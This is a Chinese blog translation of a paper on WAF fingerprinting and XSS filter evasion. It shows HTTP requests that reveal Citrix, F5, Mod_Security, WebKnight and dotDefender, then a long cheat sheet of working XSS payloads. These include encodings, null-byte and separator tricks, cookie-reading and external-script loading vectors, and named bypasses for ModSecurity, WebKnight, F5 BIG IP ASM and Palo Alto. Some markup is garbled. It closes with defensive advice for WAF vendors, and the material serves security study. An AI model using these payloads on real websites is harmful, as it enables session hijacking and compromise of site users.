[Cnblog-r00tgrok]译文:WAF指纹识别和XSS过滤器绕过技巧
0x1 前言
之前在乌云drops上看到一篇绕过WAF跨站脚本过滤器的一些技巧,是从老外的一篇paper部分翻译过来的,可以说文章摘取了原文最核心的部分并对文字做了简要翻译,Bypass XSS过滤的测试方法。看完后觉得确实讲得比较全面和细致,然后找出了英文原文的paper,看了一下并画蛇添足的进行了下翻译,翻译得不好但算是有了篇完整的中文paper。
0x2 正文
摘要:
众所周知,过去多年以来信息安全领域的划分出现了。web应用正遭受攻击,从这个角度来说,WAF(Web Application Firewalls)变得越来越流行,通常而言,各种机构会使用它来防范包括SQL注入、跨站脚本和远程命令执行在内的各种攻击。
web应用依旧是网络犯罪的一个主要攻击向量,数据显示网络犯罪并没有减少的迹象。攻击者现在越来越多地通过通过跨站脚本、SQL注入和其他一些渗透技术对应用层发起攻击。
web应用中的漏洞作为一个攻击目标可以归根于很多问题,包括:脆弱的输入验证、会话管理、不正确的系统设置及操作系统和服务器软件的缺陷。值得注意的是,犯错是人类的天性。实际上,编写安全的代码是减少web应用程序中漏洞的最有效方法。然而,在编程时我们免不了要出错,编写安全的代码说的远比做起来要简单,而且这还会涉及几个关键的问题。
1.1 基本概念
web应用中缺乏对用户输入参数和服务端响应的有效验证会引发XSS,这种攻击可以在目标用户的浏览器中插入任意HTML代码。
从技术上来说,当用户的输入参数在浏览器中完全显示出来时就会出现这个问题,比如javascript代码能被解析为合法程序的一部分并能访问文档的所有实体(DOM)。现实中,在用户浏览器中修改脆弱应用程序的HTML文档或者使用网络钓鱼都会引发攻击,XSS攻击通常通过控制输入字段实现大量网站的脚本注入。
1.2 介绍
Firewalls、IDS、IPS是用于保护基础设施免于恶意攻击的最常见的安全机制。其中,防火墙最为常用的安全机制,通常置于网络层和应用层,通过基于预配置的注册签名数据库监控客户端和服务器端的HTTP和HTTPS流量,以此分析恶意数据包。
一般来说,基于网络的应用层防火墙的基本目标是监控和阻塞违背了预定义策略的用户内容,有时候这些策略匹配可能成为潜在攻击的用户输入模式。通过WAF的规则在语义上而言和XSS的攻击载荷是一样的,关键在于避免处罚安全策略。
WAF依赖于最常见的两项措施,即白名单和黑名单,白名单意味着仅允许当前数据库中白名单上的成员通过,而黑名单则会尝试过滤掉不被允许的通过。最常见的方法是使用黑名单,意味着会过滤掉那些已知的不可靠的,然而设置黑名单并不是正确的方法,它依赖于可以被绕过的黑名单列表。本文着重于解释各种能绕过WAF的方法,尤其是那些依赖于黑名单机制的WAF。
2.1 指纹识别WAF
在这一节中,我们会学习一些识别WAF的技巧。侦查是行动的第一步,在绕过前先知道我们面对的是什么是很重要的。一些WAF会在cookie值或http响应中留下明显的标记,这让我们能很容易的检测出我们面对的是什么WAF。
2.1.1 Cookie值
一些WAF会在HTTP通信中加上它们唯一的cookie,这对攻击者来说是非常有用的。
2.1.2 指纹识别 Citrix Netscaler
Citrix Netscaler便一个例子,下面是向一个部署了Citrix Netscaler的应用发起的简单而非恶意的GET请求
GET / HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: ASPSESSIONIDAQQSDCSC=HGJHINLDNMNFHABGPPBNGFKC; ns_af=31+LrS3EeEOBbxBV7AWDFIEhrn8A000;ns_af_.target.br_%2F_wat=QVNQU0VTU0lPTklEQVFRU0RDU0Nf?6IgJizHRbTRNuNoOpbBOiKRET2gA& Connection: keep-alive Cache-Control: max-age=0
高亮部分标红(ns_af)是netscaler在GET请求中添加的cookie,这暗示了该应用的背后运行中citrix netscaler
2.1.3 指纹识别 F5 BIG IP ASM
F5是有着深层检测功能的世界知名web应用防火墙,类似于citrix netscaler,F5 BiG IP ASM也会在它们的HTTP通信中添加特定的cookie。下面是提交给有F5防火墙的应用一个非恶意GET请求:
GET / HTTP/1.1 Host: www.target.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: target_cem_tl=40FC2190D3B2D4E60AB22C0F9EF155D5; s_fid=77F8544DA30373AC-31AE8C79E13D7394; s_vnum=1388516400627%26vn%3D1; s_nr=1385938565978-New; s_nr2=1385938565979-New; s_lv=1385938565980; s_vi=[CS]v1|294DCEC0051D2761-40000143E003E9DC[CE]; fe_typo_user=7a64cc46ca253f9889675f9b9b79eb66; TSe3b54b=36f2896d9de8a61cf27aea24f35f8ee1abd1a43de557a25c529fe828; TS65374d=041365b3e678cba0e338668580430c26abd1a43de557a25c529fe8285a5ab5a8e5d0f299 Connection: keep-alive Cache-Control: max-age=0
2.1.4 HTTP Response
其他WAF可以通过提交恶意请求后的HTTP响应类型来检测,每款WAF的响应各不相同,比较常见的有403、406、419、500、501等
2.1.5 指纹识别Mod_Security
Mod_security是一款针对Apache服务器而设计的开源WAF,由于是开源的,Mod_security曾被多次绕过,但也因此其检测能力有了重大的提升。一个恶意请求被发送给部署了mod_security的应用后返回一个“406 Not acceptable”错误,在响应体中也暗示了该错误由mod_security生成。
请求:
GET /<script>alert(1);</script>HTTP/1.1 Host: www.target.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive
响应:
HTTP/1.1 406 Not Acceptable Date: Thu, 05 Dec 2013 03:33:03 GMT Server: Apache Content-Length: 226 Keep-Alive: timeout=10, max=30 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 <head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>
2.1.5 指纹识别WebKnight
Webknight是另一款非常流行的WAF,针对IIS服务器而设计。Webknight使用黑名单机制并查找诸如SQL注入、路径遍历、XSS攻击的特征,不同于其他WAF,识别Webknight非常容易,一个恶意请求返回"999 No Hacking"
请求:
GET /?PageID=99<script>alert(1);</script>HTTP/1.1 Host: www.aqtronix.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive
响应:
HTTP/1.1 999 No Hacking Server: WWW Server/1.1 Date: Thu, 05 Dec 2013 03:14:23 GMT Content-Type: text/html; charset=windows-1252 Content-Length: 1160 Pragma: no-cache Cache-control: no-cache Expires: Thu, 05 Dec 2013 03:14:23 GMT
2.1.6 识别F5 BIG IP
发送给F5 BIG IP的恶意请求会返回“419 Unknown”响应,这个也可以作为F5的指纹,即便请求中cookie值被隐藏了
请求:
GET /<script> HTTP/1.0 HTTP/1.1 419 Unknown Cache-Control: no-cache Content-Type: text/html; charset=iso-8859-15 Pragma: no-cache Content-Length: 8140 Date: Mon, 25 Nov 2013 15:22:44 GMT Connection: keep-alive Vary: Accept-Encoding
2.1.7 识别dotDefender
dotDefender是另一款为保护.net应用程序而设计的知名WAF,同Mod_security和Webknight类似,在发送恶意请求后dotDefender会在响应体中包含暗示自身的信息
请求:
GET /---HTTP/1.1 Host: www.acc.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Cache-Control: max-age=0
响应:
HTTP/1.1 200 OK Cache-Control: no-cache Content-Type: text/html Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Thu, 05 Dec 2013 03:40:14 GMT Content-Length: 2616 <!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>dotDefender Blocked Your Request</title>
2.2.1 用Wafw00f自动指纹识别
一些WAF足够聪明,会在cookie值和HTTP响应中隐藏自己的标记,这意味着即便你发送一个恶意的请求,响应永远都是“200 ok”,在这种情况下我们需要额外的测试来识别这种WAF的指纹。幸运的是,我们可以使用Wafw00f来节省我们的时间。
Wafw00f是一个python写的、专门用于指纹识别WAF的小工具,它生成5种不同的测试来检测WAF,例如跟踪http请求里面的cookies、分析发送恶意请求收到的http响应、使用丢FIN和RST数据包的方法并查看收到的响应、服务器隐藏、修改URL、选择http方法及测试从一个WAF到另一个WAF的预建的否定签名。
让我们直接从wafw00f源代码看一下它使用的检测方法。下面的几个截图演示了几个作为http请求发送的攻击向量,包含了常用的XSS字符串、遍历/etc/passwd的尝试及一个干净的HTML字符串。这些是最WAF一开始就会阻塞的常用特征,发送背后的意图是引起WAF触发一个唯一的错误以帮助wafw00f识别部署在应用后的WAF
2.2.2 基于Cookie的检测
wafw00f使用的最常见的类型是基于cookie的检测,下面的截图演示了使用正则表达式匹配特定的cookie,在本例中是F5asm和F5trafficsheild。注意到F5 traffic sheild也会在服务器头里返回"F5-TrafficSheild",而这就是我们要找的代码
2.2.3 匹配HTTP响应
第二常见的类型检测方法是匹配http响应,我们之前已了解到有些WAF的响应含有独一无二的http响应代码,这有助于我们识别使用的WAF。下面的代码用于检测应用背后是否部署了"webKnight"防火墙,它发送一个攻击向量并匹配响应代码是否为"999",我们前面已经发现当WebKnight收到一个恶意请求时会抛出“999”
2.2.4 WAF清单
wafw00f中的-list参数可以被用来确定wafw00f目前能检测的waf
def iswebknight(self): detected = False for attack in self.attacks: r = attack(self) if r is None: Return response,responsebody= r if response.status== 999: detected =True Break return detected
2.2.5 使用工具
这个工具很容易使用,你只需执行下面的命令即可
./wafw00f.py http://www.target.com
<script>alert(1);</script> <script>prompt(1);</script> <script>confirm (1);</script> <script src="http://rhainfosec.com/evil.js">
你收到的响应是什么呢,它触犯了403 forbidden页面还是500错误?是否在http响应中完全剔除了整条语句了?或者只是部分剔除了,你还剩下alert、prompt、confrom?如果是这样的话,()是否也被过滤了呢?
接下来,试着注入大小写组合的代码,说不定只有小写会被过滤。
<scRiPt>alert(1);</scrIPt>4)假设大小写组合无法绕过过滤器,我们还可以使用嵌套的标签.
<scr<script>ipt>alert(1)</scr<script>ipt>这种情况下,过滤器会剔除<script>和</script>标签,当外层的标签被过滤后<scr ipt>会结合起来形成合法的JavaScript代码,这样你就能绕过限制了 5)接下来我们会使用<a href标签,看它会返回什么
<a href=”http://www.google.com>Google Search</a><a标签被过滤了吗? href被过滤了吗? href里面的数据被过了了吗? 如果标签都没有过滤掉,我们可以在href标签里面插入javascript语句
<a href=”javascript:alert(1)”>Clickme</a>它触发了错误吗? 是否href里面的整个javascript标签都被剔掉了,或者仅剔除了"javaScript"? 试一下混合的大小写能否绕过 如果我们在href标签中,但javascript关键字被过滤了,还有很多不同的编码类型可供使用,后面会说到。接下来我们试一下使用事件处理执行Javascript代码
<a href="www.cnblogs.com/r00tgrok" onmouseover=alert(1)>ClickHere</a>
<a href="www.cnblogs.com/r00tgrok" onclimbatree=alert(1)>ClickHere</a>
<body/onhashchange=alert(1)><a href=#>click me<span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px;"> </span>
<img src=x onerror=prompt(1);> <img/src=aaa.jpg onerror=prompt(1);> <video src=x onerror=prompt(1);> <audio src=x onerror=prompt(1);>
iframe:
<iframesrc="javascript:alert(2)"> <iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
embed标签:
<embed/src=//goo.gl/nlX0P>
<form action="Javascript:alert(1)"><input type=submit> <isindex action="javascript:alert(1)" type=image> <isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
变种:
<formaction='data:text/html,<script>alert(1)</script>'><button>CLICK
<isindexformaction="javascript:alert(1)" type=image> <input type="image" formaction=JaVaScript:alert(0)> <form><button formaction=javascript:alert(1)>CLICKME
background属性:
<table background=javascript:alert(1)></table> // Works on Opera 10.5 and IE6
<video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="> <object/data=//goo.gl/nlX0P?
code属性:
<applet code="javascript:confirm(document.cookie);"> // Firefox Only <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
事件处理:
<svg/onload=prompt(1);> <marquee/onstart=confirm(2)>/ <body onload=prompt(1);> <select autofocus onfocus=alert(1)> <textarea autofocus onfocus=alert(1)> <keygen autofocus onfocus=alert(1)> <video><source onerror="javascript:alert(1)">
最短向量:
<q/oncut=open()> <q/oncut=alert(1)> // Useful in case of payload restrictions.
嵌套:
<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)> <body language=vbsonload=alert-1 // Works with IE8 <command onmouseover ="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> // Works with IE8
当圆括号被阻塞时使用throw:
<a onmouseover="javascript:window.onerror=alert;throw 1>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';
<img style="xss:expression(alert(0))"> // Works upto IE7. <div style="color:rgb(''�x:expression(alert(1))"></div> // Works upto IE7. <style>#test{x:expression(alert(/XSS/))}</style> // Works upto IE7
location属性:
<a onmouseover=location=’javascript:alert(1)>click <body onfocus="location='javascrpt:alert(1) >123
其他载荷:
<meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P"> <meta http-equiv="refresh" content="0;javascript:alert(1)"/> <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg> <svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> <svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"></svg> <meta content="
 1 
;JAVASCRIPT: alert(1)" http-equiv="refresh"/> <math><a xlink:href="//jsfiddle.net/t846h/">click
当 = ( ) ; : 都不被允许时的XSS载荷:
<svg><script>alert(/1/)</script> // Works With All Browsers // ( is html encoded to ( // ) is html encoded to )
Opera中的变种:
<svg><script>alert( 1) // Works with Opera Only
</script><script>alert(1)</script> <a href="j&#x26#x41;vascript:alert%252831337%2529">Hello</a>
4.1.4 编码
javascript是一门十分灵活的语言,我们可以灵活的使用多种类型编码,如十六进制、Unicode、HTML。然而他们对载荷编码都有某些的规则。有时候WAF解码实体时情况有所不同,这里是一个特定属性的列表,其后是他们支持的编码方式。
属性:
action= formaction= location= on*= name= background= poster= src= code=
支持的编码: HTML, 八进制, 十进制, 十六进制, Unicode
属性:data= 支持的编码:base64
4.1.5 基于上下文的过滤
web应用过滤器一个很大的问题是它们不理解上下文黑名单能阻塞单独的javascript脚本,但对于防范XSS却并不是那么有效。原因在于我们并不是每次都需要一个单独的向量来执行javascript脚本,很多时候我们的输入会被反射,这种情况下我们不需要单独的javascript脚本来执行有效的javascript语句,看几个例子:
属性中的输入反射:
<input value="XSStest" type=text>
autofocusonfocus=alert(1)//
" onmouseover="prompt(0) x=" " onfocusin=alert(1) autofocus x=" " onfocusout=alert(1) autofocus x=" " onblur=alert(1) autofocus a="
<script>标签中的输入反射:
<script> Var x=”Input”; </script>
我们现在面临的是不允许<>的情况,因此我们不能使用一个已有的属性如"></script>。然而,在这种情况下我们不需要闭合脚本属性来执行JavaScript,因为我们的输入已经反射在script标签中了。我们可以直接调用alert()、prompt()、confirm()函数执行有效的JavaScript代码,下面的输入会触发一个alert
“;alert(1)//
<script> Var x=”“;alert(1)//”; </script>
非常规的事件监听:
很多时候需要在JavaScript中使用非常规的事件处理,如DOMfocusin、DOMfocusout,这些事件让事件监听得到适当的执行
";document.body.addEventListener("DOMActivate",alert(1))// ";document.body.addEventListener("DOMActivate",prompt(1))// ";document.body.addEventListener("DOMActivate",confirm(1))//
这里是同种类的事件处理函数:
DOMAttrModified DOMCharacterDataModified DOMFocusIn DOMFocusOut DOMMouseScroll DOMNodeInserted DOMNodeInsertedIntoDocument DOMNodeRemoved DOMNodeRemovedFromDocument DOMSubtreeModified
href上下文:
另外一个你经常会遇到的上下文是href标签中的输入:
<a href=”Userinput”>Click</a>
<a href=”javascript:alert(1)//”>Click</a>
<span style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px;">大多数你遇到的黑名单过滤器都回删掉JavaScript关键字或者查找冒号后面的javaScript。这种情况下你可以使用HTML实体编码和URL编码来绕过黑名单,href标签会自动解码实体。如果还是不行,你可以试试vbscript,该伪协议在IE10和data URI中都能支持。</span>
javascript:alert(1) javaSCRIPT:alert(1) jaVaScRipT:alert(1) javas	cript:\u0061lert(1); javascript:\u0061lert(1) javascript:alert(document.cookie)
vbscript变种:
vbscript:alert(1); vbscript:alert(1); vbscr	ipt:alert(1)"
Data URl:
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
encodeURIComponent('-alert(1)-')
<svg><script>varmyvar=”YourInput”;</script></svg>
<svg><script>varmyvar="text";alert(1)//";</script></svg>

∀㸀㰀script㸀alert(1)㰀/script㸀
"<script>alert (1) </ script>
http://xsst.sinaapp.com/utf-32-1.php?charset=utf- 32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
上面的攻击载荷会在IE9及之前的版本执行JavaScript代码,它能在IE9中执行是因为IE不仅无法识别utf-32(当然firefox也无法识别),而且IE直到IE9都不会处理空字节(0x00),而Chrome和safari都可以识别utf-32
5.1.3 空字节
如果你有编程基础的话,你对空字节一定不会感到陌生,它们通常用于字符串终结符。IE9之前的版本都会忽略空字节,而这可以帮我们规避许多web应用程序过滤器,因为它们可能并不会过滤空字符。几个月前,我用空字符绕过了mod_security的xss过滤器,如下;
<scri%00pt>alert(1);</scri%00pt> <scri\x00pt>alert(1);</scri%00pt> <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t> <!--空字节直到php5.3.8还能奏效>
5.1.4 解析bug
RFC文档声明了节点名不能是空格,这意味着下面的代码不能运行
<script>alert(1);</script> <%0ascript>alert(1);</script> <%0bscript>alert(1);</script>
不妨试想一下,过滤器在节点名开始处就查找字符(a-z)并将其过滤掉。但是如果我们可以注入其它如% , // , !等的特殊符号,我们就可能绕过旧版本的IE过滤器。原因是旧版本IE的攻击载荷,例如<%,<//,<!,<?会被解析为<,然后我们就可以在这些字符后面注入攻击载荷了,下面是几个例子;
<// style=x:expression\28write(1)\29> // Works upto IE7 <!--[if]><script>alert(1)</script --> // Works upto IE9 <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/>
5.1.5 Unicode分隔符
在Unicode字符集中有一些分隔符,比如空格,每个浏览器都有它自己的分隔符。当你碰上一个有着良好规则的WAF,它们通常会拦截所有的事件处理函数,阻塞所有事件处理函数的正则表达式如下所示:
[on\w+\s*]
上面的正则表达式会查找所有以on*开通的字符串并将其删除,元字符"\s"的问题是它不包含一些分隔符,如x0b
为了确定每个浏览器的有效分隔符,我们可以从0x00到0xff进行模糊测试,幸运的是已经有人为每个浏览器编出了一个有效分隔符的列表:
IExplorer= [0x09,0x0B,0x0C,0x20,0x3B] Chrome = [0x09,0x20,0x28,0x2C,0x3B] Safari = [0x2C,0x3B] FireFox= [0x09,0x20,0x28,0x2C,0x3B] Opera = [0x09,0x20,0x2C,0x3B] Android = [0x09,0x20,0x28,0x2C,0x3B]
上面所有这些分隔符中,oxb是比较难搞懂的,mod_security使用类似上面描述的正表达式,我用下面的poc又一次绕过了mod_security
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec
count = 0 fori in xrange(0x00,0xff): count += 0x1 printchr(i), print count
5.2.1 缺失X-frame-Options
经常存在一个误解,认为x-frame options是用来防范点击劫持漏洞的,不过防止网站被攻陷可以使你免于无穷无尽的漏洞
5.2.2 Docmodes
IE在很久前引入了doc-mode,用于提供向后的兼容性,然而这也暴露了一些风险。设想如果攻击者能攻下你的网站,他也可以引入doc-mode并执行CSS表达式:
expression(open(alert(1)))
下面的poc会插入IE7仿真器并将一个网站地址置于iframe中
<html> <body> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /> <iframe src="https://targetwebsite.com"> </body> </html>
5.2.3 Window.name
名称对象告诉我们窗口的名字,在这样一个场景我们可以加载页面,在iframe中我们也能控制窗口的名字,我们可以执行javaScript脚本并绕过长度的限制,在设想一下我们可以攻陷一个网站却不能注入"javascript:alert(1)"
POC:
<iframe src='http://www.target.com?foo="xss autofocus/AAAAA onfocus=location=window.name//' name="javascript:alert("XSS")"></iframe>
<script> vari=location.hash; document.write(i); </script>
上面的JavaScript获取location.hash的输入,location.hash后面传递的任何东西都不会发给服务器,接下来基于用户的输入通过document.write属性直接打印给DOM而没有任何JavaScript转义,这会导致基于DOM的XSS
在一些场合下我们会将一个反射型XSS转换为基于DOM的XSS以避开过滤器,看一下这个POC:
http://www.target.com/xss.php?foo=<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()
Location.hash[2]= ( // Defined at the second position after the hash. Location.hash[3] = ) // Defined at third position after the hash. Location.hash[1] = : // Defined at the first position after the hash.
基于DOM的XSS的唯一障碍是客户端的过滤器,我们会在一个单独的页面里看一下绕过的方法
7.1 绕过
通过调整cheat sheet里的攻击载荷,我们能绕过大多数流行的WAF,我们决定有一些方法等到厂商修复后再公布,以免违背道德黑客精神
7.1.1 绕过ModSecurity
<scri%00pt>confirm(0);</scri%00pt> <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec
7.1.2 绕过webKnight
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image> <marquee/onstart=confirm(2)>
7.1.3 绕过F5 BIG IP ASM and Palo ALTO
<table background="javascript:alert(1)"></table>
“/><marquee onfinish=confirm(123)>a</marquee>
<svg/onload=prompt(1);> <isindex action="javas&tab;cript:alert(1)" type=image> <marquee/onstart=confirm(2)>
结论:
到这里可以得出结论,黑名单不是一个完美的解决方案,也无法成为完美的解决方案;黑名单可以节省时间,然而,它使得应用相比白名单有更多地漏洞。我们希望能像WAF供应商推荐下面这些最佳实践
1)开发人员和管理员应该记住,除非漏洞从源代码级别打上了补丁,否则WAF只是用于已知的漏洞控制器/参数的短时间内的安全机制
2)给WAF的签名数据库及时更新并在上线前对其进行测试以确保按预期的方式运行
3)WAF仅当配置有特定控制器/参数的签名时才能提供帮助,因此它需要手工定义期望的值得类型、最小/最大长度、content-type等参数以确保WAF在遇到入侵请求时能知道什么时候该阻塞、什么时候该报警
4)如果WAF依赖于黑名单,你要让你的签名库保持最新并周期性地核实WAF维护者发布的新签名,确保它可以阻塞已知的浏览器bug
0x3 后记
翻译到这里就算结束了,在内容和质量上相比乌云上的那篇其实并没有什么突破,排版方面也比较草率。不得不说的是,写一篇自己的博客真的很耗时间,以上一篇博客为例,跟这篇一样是翻译的,但是由于前者文字较多,而且原文也比较随意,加上自己英语水平还有很大改进空间,花了很长时间。大致变成中文后,考虑到这种技术性的paper都会附有代码和截图,在排版等方面也得稍微花点时间,最终完成后,自己对该篇博客内容的理解也有了更深的理解,在这里向那些写paper的达人们致敬。以前在博客上写东西是作为笔记用的,自己需要的时候可以随手查阅,但是慢慢发现这样做的时候常常会太过于随意,也缺乏深入的思考,不太可取,还是发点有内容的东西吧。发博客是记录个人成长的一种很好的方式,也能促发人进行深入的思考或研究,翻译是一件不错但辛苦的事,不管怎么样也限于中国制造,我们需要的更多地是中国创造。